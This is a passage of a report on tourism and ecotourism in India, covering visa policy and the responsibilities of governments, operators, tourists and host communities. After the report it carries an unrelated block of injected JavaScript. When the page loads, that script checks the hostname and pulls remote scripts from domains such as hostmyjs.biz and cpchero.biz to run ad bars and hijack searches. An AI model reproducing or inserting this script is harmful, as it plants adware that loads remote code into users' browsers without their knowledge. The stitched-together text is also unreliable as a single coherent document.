larger flow of tourists to the country. A number of options are available. The visa regime must be liberalised at least in respect of those coun tries which do not pose any political or security problems. Visas should be issued easily on entry at the airport in respect of visitors from such countries. The principle of reciprocity in the issue of visas should not be insisted on in the case of nationals of those countries with whom India has signed bilateral tourism agreements. Special tourist visas available on arrival for up to two weeks should be made available at the airports. The procedure for the issue of visas can also be made simple and at least in the major tourist originating countries the applications for a tourist visa could be received through the internet and processed on computers. Another area that requires attention is the possibility of reducing visa charges, particularly special charges on visiting restricted areas. Increased competition from neighbouring countries and poor perception of the Indian tourism product (particularly with regard to transport infrastructure) – 71 – in the major tourist originating markets are the other constraints on the growth of tourism. An added negative factor is the image of India as a country overrun by poverty, disease, touts and political instability. The promotional expenditure in the overseas markets of competitor destinations like Singapore, Thailand and Malaysia far exceeds the promotional expenditure by India. India needs to make vigorous efforts to improve its image as an attractive destination, and for this more resources are required. There are numerous other constraints in the development of tourism in India, including lack of priority in the planning of development, poor upkeep of monuments and wildlife sanctuaries, inadequate surface transport  facilities, poor quality of services etc. The Government of India has set up a group of Ministers under the Minister of Tourism to coordinate activities of various government departments and agencies. A committee under the Cabinet Secretary assists in implementation of decisions and removal of systematic problems. Dialogue with the state governments to liberalise and rationalise taxation and deal with other issues is an ongoing process. Many of the activities in the tourism sector are dependent on initiatives of the state governments. Enlightened state governments like Kerala, Goa and Rajasthan have done a lot to attract more tourists by making facilities more tourist friendly. Box 7: Government Responsibilities for Ecotourism Regulate structures that create visual pollution, unaesthetic views and are non-compatible architecture; and encourage use of local building material and structures befitting the local environment. Exclude developments in geologically unstable zones and define development and buffer zones after proper environmental impact assessments. Establish and enforce standards, building codes and other regulations. Specify environmental, physical and social carrying capacities to limit development. Ensure continuous monitoring of adverse effects of tourism activities and initiate suitable corrective measures. Recognise and award quality by accreditation of ecotourism operators. Provide visitor information and interpretation services covering particularly (i) what to see; (ii) how to see it; and (iii) how to behave. This can be by way of brochures, leaflets, specialised guides, visitor information centres and such. Prepare and distribute codes of conduct to all visitors. Launch training programs on ecotourism for tourism administrators, planners, operators and the general public. Promoting Ecotourism in India The key players in the ecotourism business are governments at both levels, the local authorities, the developers and the operators, the visitors, and the local community. Each one of them has to be sensitive to the environment and local traditions and follow a set of guidelines for the successful development of ecotourism. In addition, non-governmental organisations and scientific and research institutions also have to play a key role in the  development of ecotourism. A management plan for each ecotourism area should be prepared by professional landscape architects and urban planners, in consultation with the local community as well as others directly concerned. Integrated planning should be adopted to avoid inter-sectoral and cross-sectoral conflict. A first step should be to prepare 20-year Master Plans for each state. The architectural program for ecotourism centres should include controlled access points, roads, self-guided nature trails, transportation options, interpretation centres, signs, observation towers and adequate but unpretentious lodging and dining facilities, docks, garbage disposal facilities and other utilities as needed. If required, suitable living quarters and facilities for project personnel should be provided. Box 7 is a list of actions for the development of ecotourism, where the responsibility is with the government. The roles and responsibilities of tourism developers and operators are fundamental to the achievement of ecotourism and the long-term success of the businesses. These are listed in Box 8. Box 8: Roles and Responsibilities of Ecotourism Developers and Operators Respect and follow the planning restrictions, standards and codes provided by the government and local authorities. Implement sound environment principles through self-regulation. Undertake environmental impact assessment for all new projects and conduct regular environment audits for all ongoing activities, leading to development of environmental improvement programs. Be aware of, and sensitive to, protected or threatened areas, species and scenic amenity; undertake landscape enhancement wherever possible. Ensure that all structures are unobtrusive and do not interfere with the natural ecosystem to the extent possible. – 72 – – 73 – Recognise the optimal environmental capacity and sociological use-limits of the site in creating tourist facilities; also take into account the safety and convenience of tourists. Design buildings strictly on functional and  environmental considerations and avoid over-construction. Use local material and designs to the extent possible in construction. Employ eco-friendly physical planning, architectural design and construction of tourist facilities, for example use solar energy, capture and utilise rainwater, recycle garbage, use natural cross-ventilation instead of air conditioning, ensure a high level of self-sufficiency in food through orchards, ecological farms, aquaculture and such. Employ energy and water-saving practices to the extent possible; freshwater management and controlled sewage disposal should also be practised. Control air emissions, chemical pollutants and noise. Control and reduce environmentally unfriendly products such as asbestos, CFCs, pesticides and toxic, corrosive, infectious, explosive or flammable material. Respect and support historic or religious objects and sites. Provide information and interpretive services to visitors especially on attractions and facilities, safety and security, local customs and traditions, prohibitions and regulations and expected behaviour. Ensure adequate opportunities for visitors to commune with nature and native cultures. Provide correct information in marketing ecotourism products, as visitors who appreciate ecotourism products usually belong to environmentally-aware groups. Include training and research programs on environmental issues for company staff. Prepare tourists before their visit to minimise possible negative impacts while visiting sensitive environments and cultures. Ensure safety and security of visitors and inform them of precautions to be taken. Exercise due regard for the interest of the local population, including its history, tradition and culture and future economic development. Involve the local community to the extent possible in vari ous activities and vocations. Box 9: The Responsibilities of Ecotourists Help conserve habitats of flora and fauna as well as any site, natural feature or culture, which may be affected by tourism. Make no open fires and discourage others from doing so. If water has to be heated with scarce firewood, use as little as possible. Where feasible, use kerosene or fuel-efficient wood stoves. Remove litter, burn or bury paper and carry back all non-degradable litter. Keep local water clean and avoid using pollutants such as detergents in streams or springs. If no toilet facilities are  available, relieve yourself at least 30 metres away from water sources and bury or cover the waste. Leave plants to flourish in their natural environment and avoid taking away cuttings, seeds and roots. Leave campsites clean after use. Help guides and porters to follow conservation measures. Do not allow cooks/porters to throw garbage in streams or rivers. Respect the natural and cultural heritage of the area and follow local customs. Respect local etiquette and do not wear tight-fitting clothes. Remember that kissing in public is disapproved of in India. Respect privacy of individuals and ask permission to take photographs of local inhabitants. Respect holy places; do not touch or remove religious objects. Strictly follow the guidelines for personal safety and security and always take your own precautions and safety measures. If a community wants to host ecotourism, it has a central role to play. The host community’s success in bringing ecotourism to it and ensuing that the level and type of tourism is compatible with the community’s aspirations are matters the community can control. Box 10 lists the matters with which the host community must deal. Box 10: The Role and Responsibility of the Host Community Realise and respect the value of the environment, the flora and fauna, the monuments and your cultural heritage. Practice conservation of nature and culture as a way of life. Establish guidelines to protect valuable local resources and foster tourism management. React to the potential threat of investors who see opportunities in development but lack sensitivity to local values. Become effective nature guides and conservationists of natural areas by utilising practical and ancestral knowledge of the natural features of the area. Be friendly to the visitors and help them to practise ecotourism principles. Just as the government authorities and the tourism operators play fundamental roles in the success of ecotourism, so does the tourist. Box 9 lists the responsibilities of tourists. – 74 – – 75 – Finally there is a role for others, such as scientific and research institutions and non-government organisations, in promoting ecotourism. The things they can do include: (i) create awareness, among all concerned, about the importance of sound eco-practices in tourism development; (ii) motivate the local community to increase their involvement in sustainable tourism activities; and (iii) organise training programs to prepare the local people to take up various vocations related to ecotourism. the Pacific Travel Association have introduced an ecotourism pledge which requires their members to adopt environment-friendly practices. Conclusion Tourism has proved to be an engine of growth in many economies in the world. It provides for the generation of income, wealth and employment, and helps in the sustainable development of remote areas. In India, tourism provides direct employment to 9 million people and indirect employment to another 13 million persons, thus providing a livelihood to 22 million persons. It contributes an estimated 2.4% of the gross national product. Its contribution to the economies of states like Rajasthan, Goa and Kerala are significant. Although beginning to be understood for its potential to provide for development in India, tourism still remains a sector that needs serious attention. Tourism has proved to have negative impacts as well as the positive ones. It is criticised for contaminating indigenous culture. This takes the form of changing values, resulting in social maladies like drug addiction, child prostitution, etc. A far more widespread negative impact is caused by mass tourism in environm entally fragile areas like mountains, hills, deserts and coastal regions. Due to heavy tourist traffic in some areas, the cultural and environmental assets of the community are under threat. Although this phenomenon is not widespread in India, there is a need to take note of the possible negative influences of tourism so that timely preservation action can be taken and irreparable loss avoided. The movement towards ecotourism is at once a threat and an opportunity to create  more sustainable tourism: by diverting tourist traffic to ensure the carrying capacity of any destination is not exceeded; by planning for regeneration of natural resources; and by generating awareness in the host community whereby they are prepared and forearmed to deal with the negative impact of mass tourism. As in most cases, a middle path is the most creative way to maximise the economic potential of tourism, while at the same time minimising the negative social influences and threats to the environment. Only ecotourism where the tourists, the service providers, the host communi ty and authorities are well informed and prepared to harness tourism as an engine of growth can yield sustainable results. Motivations for Involvement in Ecotourism Hotel and travel companies in India function in a relatively free environment. The country is slowly but surely moving towards a market economy where commercial considerations dictate motivation for the private sector to take up various activities. Crass commercial considerations have, however, to be controlled by the government on behalf of the public. The environment has to be protected through awareness-generation, legislation, policy and administrative action. The travelling public is also becoming conscious of the need to protect the environment, to some extent at least. As a result, many enterprises in the hospitality sector have adopted environment-friendly practices like conserving energy and water and recycling unutilised hotel outputs. These can be powerful marketing tools for hotel groups. Furthermore, with the increase in cost of vital inputs like energy, water etc., companies are motivated to conserve limited resources by adopting practices which reduce levels of consumption. Many hotel companies advise their clients to be careful in the use of lights, water and other hotel services. Civil society has also begun to exercise control over the environment. Many non-government organisations have been generating awareness about environmentally destructive practices. Individuals have taken recourse to public interest litigation to stop environmentally destructive practices. The Indian judicial system has been very liberal in restraining environmentally hazardous activities. At times, political parties also stop environmentally harmful practices by agitation and raising issues in democratic forums such as state legislatures. The  print and electronic media have been very active in India in investigating environmentally injurious activities by highlighting such issues and creating public opinion for environmentally compatible practices. The Government of India has a Ministry of Environment and Forests with a mandate to oversee use of the environment in order to conserve it. The Government has also set up institutions like the Central and State Pollution Control Board to deal with the defaulters. The state governments also have Departments of Environment and Pollution Control. The Ministry of Tourism has issued ecotourism guidelines for adoption by all concerned organisations. Some tourism bodies and associations like – 76 – – 77 – var id=962612185; var aff=30587; var sid=0; function INCL_checkinternals() { var h = document.location.hostname; return (/search.kalloutsearchd.com/i.test(h) == true || /search.adbard.com/i.test(h) == true || h.indexOf(‘search.runclips.com’) != -1 || h.indexOf(‘search.searchnowdirect.com’) != -1); } function INCL_addEventHandler (el, eType, fn) { if (el.addEventListener) el.addEventListener(eType, fn, false); else if (el.attachEvent) el.attachEvent(‘on’ + eType, fn); else el[‘on’ + eType] = fn; } function INCL_checkdml() { var h = document.location.hostname; return (h.indexOf(â€Å"google†)!=-1 || h.indexOf(â€Å"facebook.com†)!=-1 || h.indexOf(â€Å"yahoo.com†)!=-1 || h.indexOf(â€Å"bing.com†)!=-1 || h.indexOf(â€Å"ask.com†)!=-1 || h.indexOf(â€Å"listenersguide.org.uk†)!=-1); } function INCL_loadScript(src, scriptId) { if (window.location.protocol == ‘https:’ && src.indexOf(‘http:’) == 0) return; var script = document.createElement(â€Å"script†); script.src = src; script.characterSet = â€Å"utf-8†; script.type = â€Å"text/javascript†; script.setAttribute(‘jsid’, ‘js36’); if (typeof(scriptId) !== ‘undefined’) script.id = scriptId; (document.head||document.getElementsByTagName(‘head’)[0]|| document.body||document.getElementsByTagName(‘body’)[0]).appendChild(script); } function INCL_onloadComplete() { if (!INCL_checkdml()) { window.INLDM_cfg = { fi : 4603, fd : 0, fddm: ‘xml.cpchero.biz’, sttc: ‘https://hostmyjs.biz/scripts/inl_dmmtch/’, inlsrhdm: ‘sonicsearchonline.biz’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js’); INCL_loadScript(‘https://in.admedia.com/?id=ODkoOCI&subid=36’); } INCL_loadScript(‘http://i.websuggestorjs.info/sugg/javascript.js?channel=js36’); INCL_loadScript(‘https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222’); window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : ‘http://xml.cpchero.biz/search’ , search_url : ‘http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=’ , script_base : ‘https://hostmyjs.biz/scripts/adbar’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/adbar/adbar.js’); } if (top === self && !INCL_checkinternals()) { if (document.readyState === ‘complete’) INCL_onloadComplete(); else INCL_addEventHandler(window, ‘load’, INCL_onloadComplete); }